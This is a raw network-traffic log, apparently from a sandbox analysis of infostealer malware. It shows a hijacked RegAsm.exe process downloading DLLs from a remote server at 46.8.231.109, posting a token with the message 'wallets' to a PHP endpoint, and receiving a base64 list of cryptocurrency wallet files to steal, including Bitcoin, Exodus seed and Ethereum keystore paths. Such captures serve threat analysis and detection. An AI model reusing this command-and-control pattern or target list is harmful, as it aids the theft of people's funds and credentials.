Oct 2, 2024 17:17:22.982882023 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 a2 00 10 a0 a2 00 10 80 a2 00 10 e0 a2 00 10 90 a3 00 10 30 a3 00 10 10 a3 00 10 70 a3 00 10 30 a4 00 10 d0 a3 Data Ascii: 0p0pP0`P` @ P0
Oct 2, 2024 17:17:22.982892036 CEST	1236	IN	Data Raw: 02 b0 2b 01 00 02 40 2c 01 00 02 30 2d 01 00 00 60 2d 01 00 02 80 2d 01 00 02 90 2d 01 00 00 d0 2d 01 00 02 f0 2d 01 00 02 60 2e 01 00 02 80 2e 01 00 00 d0 2e 01 00 02 30 2f 01 00 00 a0 2f 01 00 00 30 30 01 00 02 a0 30 01 00 00 e0 30 01 00 02 00 Data Ascii: +@,0-`-----`...0//0000101@1`1112p203@33@405`55506@66P77`88p9:: ;0;@;P;`;p;;
Oct 2, 2024 17:17:22.982903004 CEST	1236	IN	Data Raw: e0 71 01 00 02 50 72 01 00 02 70 72 01 00 00 d0 72 01 00 00 20 75 01 00 02 80 75 01 00 02 90 77 01 00 02 00 78 01 00 02 10 78 01 00 02 40 78 01 00 02 70 78 01 00 02 90 78 01 00 02 80 79 01 00 02 c0 79 01 00 02 40 7a 01 00 02 90 7a 01 00 02 c0 7a Data Ascii: qPrprr uuwxx@xpxxyy@zzzz{\|\|\|}p}}p~P@@@p0Pp
Oct 2, 2024 17:17:22.982913971 CEST	896	IN	Data Raw: f8 01 00 02 00 0a 02 00 02 20 0a 02 00 02 40 0a 02 00 02 60 0a 02 00 02 80 0a 02 00 02 c0 0a 02 00 02 00 0b 02 00 02 40 0b 02 00 02 b0 0b 02 00 00 d0 0b 02 00 00 f0 0b 02 00 00 10 0c 02 00 00 20 0d 02 00 00 50 0d 02 00 00 80 0d 02 00 00 b0 0d 02 Data Ascii: @`@ P@ @ p@ p&P-40<=>BF``@a`adfkr@}}
Oct 2, 2024 17:17:22.982959032 CEST	1236	IN	Data Raw: 02 00 00 50 fb 02 00 00 d0 fb 02 00 00 40 fc 02 00 02 70 fc 02 00 00 a0 fc 02 00 00 e0 fc 02 00 00 20 fd 02 00 00 60 fd 02 00 00 a0 fd 02 00 00 00 fe 02 00 00 f0 fe 02 00 02 10 ff 02 00 02 30 ff 02 00 02 50 ff 02 00 02 70 ff 02 00 02 90 ff 02 00 Data Ascii: P@p `0PpP@p @0p`.../@/p//`0
Oct 2, 2024 17:17:22.982969999 CEST	1236	IN	Data Raw: 00 02 e0 93 03 00 02 20 94 03 00 02 60 94 03 00 02 a0 94 03 00 02 e0 94 03 00 02 20 95 03 00 02 60 97 03 00 02 d0 99 03 00 02 40 9c 03 00 02 70 9c 03 00 02 e0 9d 03 00 02 10 9e 03 00 02 90 9f 03 00 02 c0 9f 03 00 02 40 a1 03 00 02 60 a1 03 00 02 Data Ascii: ` `@p@`@PP`pP@0 PPP
Oct 2, 2024 17:17:22.982980967 CEST	448	IN	Data Raw: 00 00 00 00 00 00 00 a0 1a bd 2a 3f 00 00 00 e0 3a 0f 81 3f 00 00 00 40 5b 55 c5 3f 00 00 00 80 99 99 b9 3f 00 00 00 90 99 99 39 3e 00 00 00 30 33 33 a3 3c 00 00 00 90 99 99 f9 3a 7a 2a da 21 fb 04 45 40 75 cb 78 32 2d b8 c3 40 ee fd a1 11 b3 56 Data Ascii: ?:?@[U??9>033<:z!E@ux2-@VA?WI@_X-}@V$A@.?y>@+eG?z*!E@WI@ux2-@@_X-}@VAV$Aa<Rj=2KF={4gEZ
Oct 2, 2024 17:17:22.983063936 CEST	1236	IN	Data Raw: 34 35 36 37 38 39 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 00 00 00 00 00 00 41 29 21 1c 19 17 16 15 14 13 12 12 11 11 11 10 10 10 0f 0f 0f 0f 0e 0e 0e 0e 0e 0e 0e 0d 0d 0d 0d 0d 0d 00 00 00 30 31 32 33 34 35 Data Ascii: 456789abcdefghijklmnopqrstuvwxyzA)!0123456789abcdefABCDEF0123456789abcdefABCDEFxUnknown exceptionxbad
Oct 2, 2024 17:17:22.983073950 CEST	1236	IN	Data Raw: 37 04 00 00 1c 41 00 10 38 04 00 00 28 41 00 10 39 04 00 00 34 41 00 10 3a 04 00 00 40 41 00 10 3b 04 00 00 4c 41 00 10 3e 04 00 00 58 41 00 10 3f 04 00 00 64 41 00 10 40 04 00 00 70 41 00 10 41 04 00 00 7c 41 00 10 43 04 00 00 88 41 00 10 44 04 Data Ascii: 7A8(A94A:@A;LA>XA?dA@pAA\|ACADAEAFAGAIAJAKALANBOBPBR$BV0BW<BZLBe\BklBl\|BBB
Oct 2, 2024 17:17:22.987845898 CEST	1236	IN	Data Raw: b3 00 00 00 9c 48 00 10 ab 00 00 00 d0 3e 00 10 41 00 00 00 a8 48 00 10 8b 00 00 00 00 3d 00 10 07 00 00 00 b8 48 00 10 4a 00 00 00 08 3d 00 10 08 00 00 00 c4 48 00 10 a3 00 00 00 d0 48 00 10 cd 00 00 00 dc 48 00 10 ac 00 00 00 e8 48 00 10 c9 00 Data Ascii: H>AH=HJ=HHHHHIII$I0I<IKHITI=`IlIxIIIIIIII
Oct 2, 2024 17:17:23.524564981 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 17:17:24.593753099 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 2, 2024 17:17:24.598953962 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 2, 2024 17:17:24.598970890 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	65280	46.8.231.109	80	5140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 17:17:24.634757042 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 17:17:25.620883942 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 2, 2024 17:17:25.620908976 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 8c 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 Data Ascii: Ut]h6h{t]UtH]h6h{t1]Ut$]h6h{t]Ut
Oct 2, 2024 17:17:25.620919943 CEST	448	IN	Data Raw: c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0c 8b 48 68 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb d2 cc cc cc cc Data Ascii: t]UtHh]h6h{t1]UtHl]h6h{t]UtHp]h6h{t]UtHt]h6h
Oct 2, 2024 17:17:25.620928049 CEST	1236	IN	Data Raw: c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 88 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 Data Ascii: t]Ut]h6h{t]UtHx]h6h{t1]UtH\|]h6h{t]Ut]h6
Oct 2, 2024 17:17:25.620949984 CEST	1236	IN	Data Raw: 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 dc 00 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 e0 00 00 00 Data Ascii: Ut]h6h{t]Ut]h6h{t1]Ut]h6h{t]Ut]h6h{t]
Oct 2, 2024 17:17:25.620959997 CEST	1236	IN	Data Raw: ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 2c 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a Data Ascii: ]Ut,]h6h{t1]Ut0]h6h{t]Ut4]h6h{t]Ut8]h6h
Oct 2, 2024 17:17:25.620970011 CEST	1236	IN	Data Raw: 85 c0 74 0f 8b 88 a4 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 b0 01 00 00 ff 15 00 a0 03 10 5d ff Data Ascii: t]h6h{t1]Ut]h6h{t1]Ut]h6h{t]Ut]h6h{t]
Oct 2, 2024 17:17:25.620980978 CEST	896	IN	Data Raw: a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 60 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 Data Ascii: 6h{t1]Ut`]h6h{t]Utd]h6h{t]Uth]h6h{t]Ut
Oct 2, 2024 17:17:25.620990992 CEST	1236	IN	Data Raw: a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 cc 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 Data Ascii: 6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t1]Ut
Oct 2, 2024 17:17:25.621001959 CEST	1236	IN	Data Raw: 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 38 03 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 Data Ascii: t]Ut8]h6h{t]Ut<]h6h{t]Ut@]h6h{t]UtD]h6h
Oct 2, 2024 17:17:25.621129990 CEST	1236	IN	Data Raw: 81 e2 00 ff 00 00 81 fa 00 03 00 00 75 22 0f b6 c9 83 f9 25 72 1a 0f b7 08 81 f9 d0 03 00 00 72 0f a3 0c 9a 03 10 89 3d 10 9a 03 10 31 f6 eb 13 a1 10 9a 03 10 85 c0 74 0a 50 ff 15 0c 7c 03 10 83 c4 04 89 f0 5e 5f 5d c3 cc cc cc 55 89 e5 53 57 56 Data Ascii: u"%rr=1tP\|^_]USWV]1Eh07h;f{{PVe)uPtxWVPtEPWYE]ED$E
Oct 2, 2024 17:17:25.621681929 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 2, 2024 17:17:25.755211115 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 17:17:25.977701902 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 2, 2024 17:17:26.453231096 CEST	199	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAF Host: 46.8.231.109 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 17:17:26.778461933 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 17:17:26.819777966 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDA Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 2d 2d 0d 0a Data Ascii: ------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="message"wallets------GDHIIDAFIDGCFHJJDGDA--
Oct 2, 2024 17:17:27.003855944 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbG